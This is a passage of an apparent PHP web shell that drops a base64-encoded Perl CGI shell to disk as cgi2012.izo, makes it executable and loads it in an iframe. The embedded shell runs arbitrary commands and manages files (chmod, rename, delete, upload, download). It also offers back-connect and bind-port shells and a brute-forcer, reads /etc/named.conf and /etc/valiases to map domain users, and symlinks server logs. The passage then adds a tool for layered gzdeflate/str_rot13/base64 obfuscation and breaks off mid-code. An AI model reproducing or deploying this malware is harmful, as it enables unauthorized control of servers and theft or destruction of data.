Ii0iOwoJbXkgJHV3ID0gIi0iOwoJaWYoLWUgJGZpbGUpCgl7CgkJaWYoJFdpbk5UKQoJCXsKCQkJaWYoLXIgJGZpbGUpeyAkdXIgPSAiciI7IH0KCQkJaWYoLXcgJGZpbGUpeyAkdXcgPSAidyI7IH0KCQkJcmV0dXJuICR1ciAuICIgLyAiIC4gJHV3OwoJCX1lbHNlCgkJewoJCQkkbW9kZT0oc3RhdCgkZmlsZSkpWzJdOwoJCQkkcmVzdWx0ID0gc3ByaW50ZigiJTA0byIsICRtb2RlICYgMDc3NzcpOwoJCQlyZXR1cm4gJHJlc3VsdDsKCQl9Cgl9CglyZXR1cm4gIjAwMDAiOwp9CnN1YiBGaWxlTGFzdE1vZGlmaWVkKCQpCnsKCW15ICRmaWxlID0gc2hpZnQ7CglpZigtZSAkZmlsZSkKCXsKCQkoJGxhKSA9IChzdGF0KCRmaWxlKSlbOV07CgkJKCRkLCRtLCR5LCRoLCRpKSA9IChsb2NhbHRpbWUoJGxhKSlbMyw0LDUsMiwxXTsKCQkkeSA9ICR5ICsgMTkwMDsKCQlAbW9udGggPSBxdy8xIDIgMyA0IDUgNiA3IDggOSAxMCAxMSAxMi87CgkJJGxtdGltZSA9IHNwcmludGYoIiUwMmQvJXMvJTRkICUwMmQ6JTAyZCIsJGQsJG1vbnRoWyRtXSwkeSwkaCwkaSk7CgkJcmV0dXJuICRsbXRpbWU7Cgl9CglyZXR1cm4gIj8/PyI7Cn0Kc3ViIEZpbGVTaXplKCQpCnsKCW15ICRmaWxlID0gc2hpZnQ7CglpZigtZiAkZmlsZSkKCXsKCQlyZXR1cm4gLXMgJGZpbGU7Cgl9CglyZXR1cm4gIjAiOwoKfQpzdWIgUGFyc2VGaWxlU2l6ZSgkKQp7CglteSAkc2l6ZSA9IHNoaWZ0OwoJaWYoJHNpemUgPD0gMTAyNCkKCXsKCQlyZXR1cm4gJHNpemUuICIgQiI7Cgl9CgllbHNlCgl7CgkJaWYoJHNpemUgPD0gMTAyNCoxMDI0KSAKCQl7CgkJCSRzaXplID0gc3ByaW50ZigiJS4wMmYiLCRzaXplIC8gMTAyNCk7CgkJCXJldHVybiAkc2l6ZS4iIEtCIjsKCQl9CgkJZWxzZSAKCQl7CgkJCSRzaXplID0gc3ByaW50ZigiJS4yZiIsJHNpemUgLyAxMDI0IC8gMTAyNCk7CgkJCXJldHVybiAkc2l6ZS4iIE1CIjsKCQl9Cgl9Cn0Kc3ViIHRyaW0oJCkKewoJbXkgJHN0cmluZyA9IHNoaWZ0OwoJJHN0cmluZyA9fiBzL15ccysvLzsKCSRzdHJpbmcgPX4gcy9ccyskLy87CglyZXR1cm4gJHN0cmluZzsKfQpzdWIgQWRkU2xhc2hlcygkKQp7CglteSAkc3RyaW5nID0gc2hpZnQ7Cgkkc3RyaW5nPX4gcy9cXC9cXFxcL2c7CglyZXR1cm4gJHN0cmluZzsKfQpzdWIgTGlzdERpcgp7CglteSAkcGF0aCA9ICRDdXJyZW50RGlyLiRQYXRoU2VwOwoJJHBhdGg9fiBzL1xcXFwvXFwvZzsKCW15ICRyZXN1bHQgPSAiPGZvcm0gbmFtZT0nZicgYWN0aW9uPSckU2NyaXB0TG9jYXRpb24nPjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+UGF0aDogWyAiLiZBZGRMaW5rRGlyKCJndWkiKS4iIF0gPC9zcGFuPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdkJyBzaXplPSc0MCcgdmFsdWU9JyRDdXJyZW50RGlyJyAvPjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2EnIHZhbHVlPSdndWknPjxpbnB1dCBjbGFzcz0nc3VibWl0JyB0eXBlPSdzdWJtaXQnIHZhbHVlPSdDaGFuZ2UnPjwvZm9ybT4iOwoJaWYoLWQgJHBhdGgpCgl7CgkJbXkgQGZuYW1lID0gKCk7CgkJbXkgQGRuYW1lID0gKCk7CgkJaWYob3BlbmRpcihESVIsJHBhdGgpKQoJCXsKCQkJd2hpbGUoJGZpbGUgPSByZWFkZGlyKERJUikpCgkJCXsKCQkJCSRmPSRwYXRoLiRmaWxlOwoJCQkJaWYoLWQgJGYpCgkJCQl7CgkJCQkJcHVzaChAZG5hbWUsJGZpbGUpOwoJCQkJfQoJCQkJZWxzZQoJCQkJewoJCQkJCXB1c2goQGZuYW1lLCRmaWxlKTsKCQkJCX0KCQkJfQoJCQljbG9zZWRpcihESVIpOwoJCX0KCQlAZm5hbWUgPSBzb3J0IHsgbGMoJGEpIGNtcCBsYygkYikgfSBAZm5hbWU7CgkJQGRuYW1lID0gc29ydCB7IGxjKCRhKSBjbXAgbGMoJGIpIH0gQGRuYW1lOwoJCSRyZXN1bHQgLj0gIjxkaXY+PHRhYmxlIHdpZHRoPSc5MCUnIGNsYXNzPSdsaXN0ZGlyJz4KCgkJPHRyIHN0eWxlPSdiYWNrZ3JvdW5kLWNvbG9yOiAjM2UzZTNlJz48dGg+RmlsZSBOYW1lPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjEwMHB4Oyc+RmlsZSBTaXplPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjE1MHB4Oyc+T3duZXI8L3RoPgoJCTx0aCBzdHlsZT0nd2lkdGg6MTAwcHg7Jz5QZXJtaXNzaW9uPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjE1MHB4Oyc+TGFzdCBNb2RpZmllZDwvdGg+CgkJPHRoIHN0eWxlPSd3aWR0aDoyNjBweDsnPkFjdGlvbjwvdGg+PC90cj4iOwoJCW15ICRzdHlsZT0ibGluZSI7CgkJbXkgJGk9MDsKCQlmb3JlYWNoIG15ICRkIChAZG5hbWUpCgkJewoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOwoJCQkkZCA9ICZ0cmltKCRkKTsKCQkJJGRpcm5hbWU9JGQ7CgkJCWlmKCRkIGVxICIuLiIpIAoJCQl7CgkJCQkkZCA9ICZQYXJlbnRGb2xkZXIoJHBhdGgpOwoJCQl9CgkJCWVsc2lmKCRkIGVxICIuIikgCgkJCXsKCQkJCSRkID0gJHBhdGg7CgkJCX0KCQkJZWxzZSAKCQkJewoJCQkJJGQgPSAkcGF0aC4kZDsKCQkJfQoJCQkkcmVzdWx0IC49ICI8dHIgY2xhc3M9JyRzdHlsZSc+CgoJCQk8dGQgaWQ9J0ZpbGVfJGknIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+PGEgIGhyZWY9Jz9hPWd1aSZkPSIuJGQuIic+WyAiLiRkaXJuYW1lLiIgXTwvYT48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZD5ESVI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz4iLiZGaWxlT3duZXIoJGQpLiI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZCBpZD0nRmlsZVBlcm1zXyRpJyBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7JyBvbmRibGNsaWNrPVwicm1fY2htb2RfZm9ybSh0aGlzLCIuJGkuIiwnIi4mRmlsZVBlcm1zKCRkKS4iJywnIi4kZGlybmFtZS4iJylcIiA+PHNwYW4gb25jbGljaz1cImNobW9kX2Zvcm0oIi4kaS4iLCciLiRkaXJuYW1lLiInKVwiID4iLiZGaWxlUGVybXMoJGQpLiI8L3NwYW4+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZCkuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPjxhIGhyZWY9J2phdmFzY3JpcHQ6cmV0dXJuIGZhbHNlOycgb25jbGljaz1cInJlbmFtZV9mb3JtKCRpLCckZGlybmFtZScsJyIuJkFkZFNsYXNoZXMoJkFkZFNsYXNoZXMoJGQpKS4iJylcIj5SZW5hbWU8L2E+ICB8IDxhIG9uY2xpY2s9XCJpZighY29uZmlybSgnUmVtb3ZlIGRpcjogJGRpcm5hbWUgPycpKSB7IHJldHVybiBmYWxzZTt9XCIgaHJlZj0nP2E9Z3VpJmQ9JHBhdGgmcmVtb3ZlPSRkaXJuYW1lJz5SZW1vdmU8L2E+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8L3RyPiI7CgkJCSRpKys7CgkJfQoJCWZvcmVhY2ggbXkgJGYgKEBmbmFtZSkKCQl7CgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7CgkJCSRmaWxlPSRmOwoJCQkkZiA9ICRwYXRoLiRmOwoJCQkkdmlldyA9ICI/ZGlyPSIuJHBhdGguIiZ2aWV3PSIuJGY7CgkJCSRyZXN1bHQgLj0gIjx0ciBjbGFzcz0nJHN0eWxlJz48dGQgaWQ9J0ZpbGVfJGknIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7Jz48YSBocmVmPSc/YT1jb21tYW5kJmQ9Ii4kcGF0aC4iJmM9ZWRpdCUyMCIuJGZpbGUuIic+Ii4kZmlsZS4iPC9hPjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkPiIuJlBhcnNlRmlsZVNpemUoJkZpbGVTaXplKCRmKSkuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPiIuJkZpbGVPd25lcigkZikuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIGlkPSdGaWxlUGVybXNfJGknIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnIG9uZGJsY2xpY2s9XCJybV9jaG1vZF9mb3JtKHRoaXMsIi4kaS4iLCciLiZGaWxlUGVybXMoJGYpLiInLCciLiRmaWxlLiInKVwiID48c3BhbiBvbmNsaWNrPVwiY2htb2RfZm9ybSgkaSwnJGZpbGUnKVwiID4iLiZGaWxlUGVybXMoJGYpLiI8L3NwYW4+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZikuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPjxhIGhyZWY9Jz9hPWNvbW1hbmQmZD0iLiRwYXRoLiImYz1lZGl0JTIwIi4kZmlsZS4iJz5FZGl0PC9hPiB8IDxhIGhyZWY9J2phdmFzY3JpcHQ6cmV0dXJuIGZhbHNlOycgb25jbGljaz1cInJlbmFtZV9mb3JtKCRpLCckZmlsZScsJ2YnKVwiPlJlbmFtZTwvYT4gfCA8YSBocmVmPSc/YT1kb3dubG9hZCZvPWdvJmY9Ii4kZi4iJz5Eb3dubG9hZDwvYT4gfCA8YSBvbmNsaWNrPVwiaWYoIWNvbmZpcm0oJ1JlbW92ZSBmaWxlOiAkZmlsZSA/JykpIHsgcmV0dXJuIGZhbHNlO31cIiBocmVmPSc/YT1ndWkmZD0kcGF0aCZyZW1vdmU9JGZpbGUnPlJlbW92ZTwvYT48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjwvdHI+IjsKCQkJJGkrKzsKCQl9CgkJJHJlc3VsdCAuPSAiPC90YWJsZT48L2Rpdj4iOwoJfQoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRyeSB0byBWaWV3IExpc3QgVXNlcgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBWaWV3RG9tYWluVXNlcgp7CglvcGVuIChkb21haW5zLCAnL2V0Yy9uYW1lZC5jb25mJykgb3IgJGVycj0xOwoJbXkgQGNuenMgPSA8ZG9tYWlucz47CgljbG9zZSBkMG1haW5zOwoJbXkgJHN0eWxlPSJsaW5lIjsKCW15ICRyZXN1bHQ9IjxoNT48Zm9udCBzdHlsZT0nZm9udDogMTVwdCBWZXJkYW5hO2NvbG9yOiAjZmY5OTAwOyc+SG9hbmcgU2EgLSBUcnVvbmcgU2E8L2ZvbnQ+PC9oNT4iOwoJaWYgKCRlcnIpCgl7CgkJJHJlc3VsdCAuPSAgKCc8cD5DMHVsZG5cJ3QgQnlwYXNzIGl0ICwgU29ycnk8L3A+Jyk7CgkJcmV0dXJuICRyZXN1bHQ7Cgl9ZWxzZQoJewoJCSRyZXN1bHQgLj0gJzx0YWJsZT48dHI+PHRoPkRvbWFpbnM8L3RoPiA8dGg+VXNlcjwvdGg+PC90cj4nOwoJfQoJZm9yZWFjaCBteSAkb25lIChAY256cykKCXsKCQlpZigkb25lID1+IG0vLio/em9uZSAiKC4qPykiIHsvKQoJCXsJCgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7CgkJCSRmaWxlbmFtZT0gIi9ldGMvdmFsaWFzZXMvIi4kb25lOwoJCQkkb3duZXIgPSBnZXRwd3VpZCgoc3RhdCgkZmlsZW5hbWUpKVs0XSk7CgkJCSRyZXN1bHQgLj0gJzx0ciBjbGFzcz0iJHN0eWxlIiB3aWR0aD01MCU+PHRkPicuJG9uZS4nIDwvdGQ+PHRkPiAnLiRvd25lci4nPC90ZD48L3RyPic7CgkJfQoJfQoJJHJlc3VsdCAuPSAnPC90YWJsZT4nOwoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFZpZXcgTG9nCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFZpZXdMb2cKewoJaWYoJFdpbk5UKQoJewoJCXJldHVybiAiPGgyPjxmb250IHN0eWxlPSdmb250OiAyMHB0IFZlcmRhbmE7Y29sb3I6ICNmZjk5MDA7Jz5Eb24ndCBydW4gb24gV2luZG93czwvZm9udD48L2gyPiI7Cgl9CglteSAkcmVzdWx0PSI8dGFibGU+PHRyPjx0aD5QYXRoIExvZzwvdGg+PHRoPlN1Ym1pdDwvdGg+PC90cj4iOwoJbXkgQHBhdGhsb2c9KAoJCQkJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvZXJyb3JfbG9nJywKCQkJCScvdmFyL2xvZy9odHRwZC9lcnJvcl9sb2cnLAoJCQkJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvYWNjZXNzX2xvZycKCQkJCSk7CglteSAkaT0wOwoJbXkgJHBlcm1zOwoJbXkgJHNsOwoJZm9yZWFjaCBteSAkbG9nIChAcGF0aGxvZykKCXsKCQlpZigtdyAkbG9nKQoJCXsKCQkJJHBlcm1zPSJPSyI7CgkJfWVsc2UKCQl7CgkJCWNob3AoJHNsID0gYGxuIC1zICRsb2cgZXJyb3JfbG9nXyRpYCk7CgkJCWlmKCZ0cmltKCRscykgZXEgIiIpCgkJCXsKCQkJCWlmKC1yICRscykKCQkJCXsKCQkJCQkkcGVybXM9Ik9LIjsKCQkJCQkkbG9nPSJlcnJvcl9sb2dfIi4kaTsKCQkJCX0KCQkJfWVsc2UKCQkJewoJCQkJJHBlcm1zPSI8Zm9udCBzdHlsZT0nY29sb3I6IHJlZDsnPkNhbmNlbDxmb250PiI7CgkJCX0KCQl9CgkJJHJlc3VsdCAuPTw8RU5EOwoJCTx0cj4KCgkJCTxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPgoJCQk8dGQ+PGlucHV0IHR5cGU9InRleHQiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdsb2dfJGknKS52YWx1ZT0nbGVzredICsgdGhpcy52YWx1ZTsiIHZhbHVlPSIkbG9nIiBzaXplPSc1MCcvPjwvdGQ+CgkJCTx0ZD48aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iVHJ5IiAvPjwvdGQ+CgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJsb2dfJGkiIG5hbWU9ImMiIHZhbHVlPSJsZXNzICRsb2ciLz4KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImNvbW1hbmQiIC8+CgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciIgLz4KCQkJPC9mb3JtPgoJCQk8dGQ+JHBlcm1zPC90ZD4KCgkJPC90cj4KRU5ECgkJJGkrKzsKCX0KCSRyZXN1bHQgLj0iPC90YWJsZT4iOwoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIE1haW4gUHJvZ3JhbSAtIEV4ZWN1dGlvbiBTdGFydHMgSGVyZQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiZSZWFkUGFyc2U7CiZHZXRDb29raWVzOwoKJFNjcmlwdExvY2F0aW9uID0gJEVOVnsnU0NSSVBUX05BTUUnfTsKJFNlcnZlck5hbWUgPSAkRU5WeydTRVJWRVJfTkFNRSd9OwokTG9naW5QYXNzd29yZCA9ICRpbnsncCd9OwokUnVuQ29tbWFuZCA9ICRpbnsnYyd9OwokVHJhbnNmZXJGaWxlID0gJGlueydmJ307CiRPcHRpb25zID0gJGlueydvJ307CiRBY3Rpb24gPSAkaW57J2EnfTsKCiRBY3Rpb24gPSAiY29tbWFuZCIgaWYoJEFjdGlvbiBlcSAiIik7ICMgbm8gYWN0aW9uIHNwZWNpZmllZCwgdXNlIGRlZmF1bHQKCiMgZ2V0IHRoZSBkaXJlY3RvcnkgaW4gd2hpY2ggdGhlIGNvbW1hbmRzIHdpbGwgYmUgZXhlY3V0ZWQKJEN1cnJlbnREaXIgPSAmdHJpbSgkaW57J2QnfSk7CiMgbWFjIGRpbmggeHVhdCB0aG9uZyB0aW4gbmV1IGtvIGNvIGxlbmggbmFvIQokUnVuQ29tbWFuZD0gJFdpbk5UPyJkaXIiOiJkaXIgLWxpYSIgaWYoJFJ1bkNvbW1hbmQgZXEgIiIpOwpjaG9wKCRDdXJyZW50RGlyID0gYCRDbWRQd2RgKSBpZigkQ3VycmVudERpciBlcSAiIik7CgokTG9nZ2VkSW4gPSAkQ29va2llc3snU0FWRURQV0QnfSBlcSAkUGFzc3dvcmQ7CgppZigkQWN0aW9uIGVxICJsb2dpbiIgfHwgISRMb2dnZWRJbikgCQkjIHVzZXIgbmVlZHMvaGFzIHRvIGxvZ2luCnsKCSZQZXJmb3JtTG9naW47Cn1lbHNpZigkQWN0aW9uIGVxICJndWkiKSAjIEdVSSBkaXJlY3RvcnkKewoJJlByaW50UGFnZUhlYWRlcjsKCWlmKCEkV2luTlQpCgl7CgkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOwoJCWlmKCEoJGNobW9kIGVxIDApKQoJCXsKCQkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOwoJCQkkZmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kVHJhbnNmZXJGaWxlOwoJCQljaG9wKCRyZXN1bHQ9IGBjaG1vZCAkY2htb2QgIiRmaWxlImApOwoJCQlpZigmdHJpbSgkcmVzdWx0KSBlcSAiIikKCQkJewoJCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJCQl9ZWxzZQoJCQl7CgkJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJCQl9CgkJfQoJfQoJJHJlbmFtZT0kaW57J3JlbmFtZSd9OwoJaWYoISRyZW5hbWUgZXEgIiIpCgl7CgkJaWYocmVuYW1lKCRUcmFuc2ZlckZpbGUsJHJlbmFtZSkpCgkJewoJCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7CgkJfWVsc2UKCQl7CgkJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7CgkJfQoJfQoJJHJlbW92ZT0kaW57J3JlbW92ZSd9OwoJaWYoJHJlbW92ZSBuZSAiIikKCXsKCQkkcm0gPSAkQ3VycmVudERpci4kUGF0aFNlcC4kcmVtb3ZlOwoJCWlmKC1kICRybSkKCQl7CgkJCSZSbURpcigkcm0pOwoJCX1lbHNlCgkJewoJCQlpZih1bmxpbmsoJHJtKSkKCQkJewoJCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJCQl9ZWxzZQoJCQl7CgkJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJCQl9CQkJCgkJfQoJfQoJcHJpbnQgJkxpc3REaXI7Cgp9CmVsc2lmKCRBY3Rpb24gZXEgImNvbW1hbmQiKQkJCQkgCSMgdXNlciB3YW50cyB0byBydW4gYSBjb21tYW5kCnsKCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCXByaW50ICZFeGVjdXRlQ29tbWFuZDsKfQplbHNpZigkQWN0aW9uIGVxICJzYXZlIikJCQkJIAkjIHVzZXIgd2FudHMgdG8gc2F2ZSBhIGZpbGUKewoJJlByaW50UGFnZUhlYWRlcjsKCWlmKCZTYXZlRmlsZSgkaW57J2RhdGEnfSwkaW57J2ZpbGUnfSkpCgl7CgkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJfWVsc2UKCXsKCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJfQoJcHJpbnQgJkxpc3REaXI7Cn0KZWxzaWYoJEFjdGlvbiBlcSAidXBsb2FkIikgCQkJCQkjIHVzZXIgd2FudHMgdG8gdXBsb2FkIGEgZmlsZQp7CgkmUHJpbnRQYWdlSGVhZGVyOwoKCXByaW50ICZVcGxvYWRGaWxlOwp9CmVsc2lmKCRBY3Rpb24gZXEgImJhY2tiaW5kIikgCQkJCSMgdXNlciB3YW50cyB0byBiYWNrIGNvbm5lY3Qgb3IgYmluZCBwb3J0CnsKCSZQcmludFBhZ2VIZWFkZXIoImNsaWVudHBvcnQiKTsKCXByaW50ICZCYWNrQmluZDsKfQplbHNpZigkQWN0aW9uIGVxICJicnV0ZWZvcmNlciIpIAkJCSMgdXNlciB3YW50cyB0byBicnV0ZSBmb3JjZQp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJcHJpbnQgJkJydXRlRm9yY2VyOwp9ZWxzaWYoJEFjdGlvbiBlcSAiZG93bmxvYWQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZQp7CglwcmludCAmRG93bmxvYWRGaWxlOwp9ZWxzaWYoJEFjdGlvbiBlcSAiY2hlY2tsb2ciKSAJCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbG9nIGZpbGUKewoJJlByaW50UGFnZUhlYWRlcjsKCXByaW50ICZWaWV3TG9nOwoKfWVsc2lmKCRBY3Rpb24gZXEgImRvbWFpbnN1c2VyIikgCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbGlzdCB1c2VyL2RvbWFpbgp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJcHJpbnQgJlZpZXdEb21haW5Vc2VyOwp9ZWxzaWYoJEFjdGlvbiBlcSAibG9nb3V0IikgCQkJCSMgdXNlciB3YW50cyB0byBsb2dvdXQKewoJJlBlcmZvcm1Mb2dvdXQ7Cn0KJlByaW50UGFnZUZvb3Rlcjs=\';
$file = fopen("cgi2012.izo" ,"w+");
$write = fwrite ($file ,base64_decode($cgi2012));
fclose($file);
chmod("cgi2012.izo",0755);
echo " <iframe src=cgi2012/cgi2012.izo width=96% height=76% frameborder=0></iframe>
</div>"; }
elseif($_GET[\'666\'] == \'64base\') {
echo \'<div style="text-align:left" class="mybox"><h1>Base64 Encode/Decoder</h1>
<form action="" method=POST>
Encode :<input type=text name=code style="border:0;border-bottom:1px solid #292929; width:500px;"><br><br>
<input type=submit style="width: 50px; height: 30px; border-color=white;" name=codificar class="kotak" value=Encode>
</form><hr color="white"><br>
<form action="" method=POST>
Decode :<input type=text name=decode style="border:0;border-bottom:1px solid #292929; width:500px;"><br><br>
<input type=submit style="width: 50px; height: 30px; border-color=white;" name=decodificar class="kotak" value=Decode>
</form></div>
\';
if (isset($_POST[\'codificar\'])) {
echo "<div class=\'mybox\'><center>";
echo "Text<br><br><fieldset style=\'border-color:white\'>" . $_POST[\'code\'] . "</fieldset><br><br>Result<br><br><fieldset style=\'border-color:white\'>";
echo base64_encode($_POST[\'code\']);
echo "</fieldset></center></div>";
}
if (isset($_POST[\'decodificar\'])) {
echo "<div class=\'mybox\'><center><br><br>Text<br><br><fieldset style=\'border-color:white\'>" . $_POST[\'decode\'] . "</fieldset><br><br>Result<br><br><fieldset style=\'border-color:white\'>";
echo base64_decode($_POST[\'decode\']);
echo "</fieldset></Center></div>";
}
}
elseif($_GET[\'666\'] == \'string\'){
$text = $_POST[\'code\'];
?><center class=\'mybox\'><h1>String Encode & Decode</h1>
<form method="post"><br>
<textarea class=\'mybox\' cols=80 rows=10 name="code"></textarea><br><br>
<select size="1" name="ope">
<option value="urlencode" style=\'background:transparent;color:aqua;\'>url</option>
<option value="base64" style=\'background:transparent;color:aqua;\'>Base64</option>
<option value="ur" style=\'background:transparent;color:aqua;\'>convert_uu</option>
<option value="json" style=\'background:transparent;color:aqua;\'>json</option>
<option value="gzinflates" style=\'background:transparent;color:aqua;\'>gzinflate - base64</option>
<option value="str2" style=\'background:transparent;color:aqua;\'>str_rot13 - base64</option>
<option value="gzinflate" style=\'background:transparent;color:aqua;\'>str_rot13 - gzinflate - base64</option>
<option value="gzinflater" style=\'background:transparent;color:aqua;\'>gzinflate - str_rot13 - base64</option>
<option value="gzinflatex" style=\'background:transparent;color:aqua;\'>gzinflate - str_rot13 - gzinflate - base64</option>
<option value="gzinflatew" style=\'background:transparent;color:aqua;\'>str_rot13 - convert_uu - url - gzinflate - str_rot13 - base64 - convert_uu - gzinflate - url - str_rot13 - gzinflate - base64</option>
<option value="str" style=\'background:transparent;color:aqua;\'>str_rot13 - gzinflate - str_rot13 - base64</option>
<option value="url" style=\'background:transparent;color:aqua;\'>base64 - gzinflate - str_rot13 - convert_uu - gzinflate - base64</option>
<option value="hexencode" style=\'background:transparent;color:aqua;\'>Hex Encode/Decode</option>
<option value="md5" style=\'background:transparent;color:aqua;\'><center>MD5 Hash</option>
<option value="sha1" style=\'background:transparent;color:aqua;\'>SHA1 Hash</option>
<option value="str_rot13" style=\'background:transparent;color:aqua;\'>ROT13 Hash</option>
<option value="strlen" style=\'background:transparent;color:aqua;\'>strlen</option>
<option value="xxx" style=\'background:transparent;color:aqua;\'>unescape</option>
<option value="bbb" style=\'background:transparent;color:aqua;\'>charAt</option>
<option value="aaa" style=\'background:transparent;color:aqua;\'>chr - bin2hex - substr</option>
<option value="www" style=\'background:transparent;color:aqua;\'>chr</option>
<option value="sss" style=\'background:transparent;color:aqua;\'>htmlspecialchars</option>
<option value="eee" style=\'background:transparent;color:aqua;\'>escape</option></select>
<input class=\'kotak\' type=\'submit\' name=\'submit\' value=\'Encrypt\'>
<input class=\'kotak\' type=\'submit\' name=\'crack\' value=\'Decrypt\'>
</form>
<?php
$submit = $_POST[\'submit\'];
if (isset($submit)){
$op = $_POST["ope"];
switch ($op) {case \'base64\': $codi=base64_encode($text);
break;case \'str\' : $codi=(base64_encode(str_rot13(gzdeflate(str_rot13($text)))));
break;case \'json\' : $codi=json_encode(utf8_encode($text));
break;case \'gzinflate\' : $codi=base64_encode(gzdeflate(str_rot13($text)));
break;case \'gzinflater\' : $codi=base64_encode(str_rot13(gzdeflate($text)));
break;case \'gzinflatex\' : $codi=base64_encode(gzdeflate(str_rot13(gzdeflate($text))));
break;case \'gzinflatew\' : $codi=base64_encode(gzdeflate(str_rot13(rawurlencode(gzdeflate(convert_uuencode(base64_encode(str_rot13(gzdeflate(convert_uuencode(rawurldecode(str_rot13($text))))))))))));
break;case \'gzinflates\' : $codi=base64_encode(gzdeflate($text));
break;case \'str2\' : $codi=base64_encode(str_rot13($text));
break;case \'urlencode\' : $codi=rawurlencode($text);
break;case \'hexencode\' : $codi=bin2hex($text);
break;case \'md5\' : $codi=md5($text);
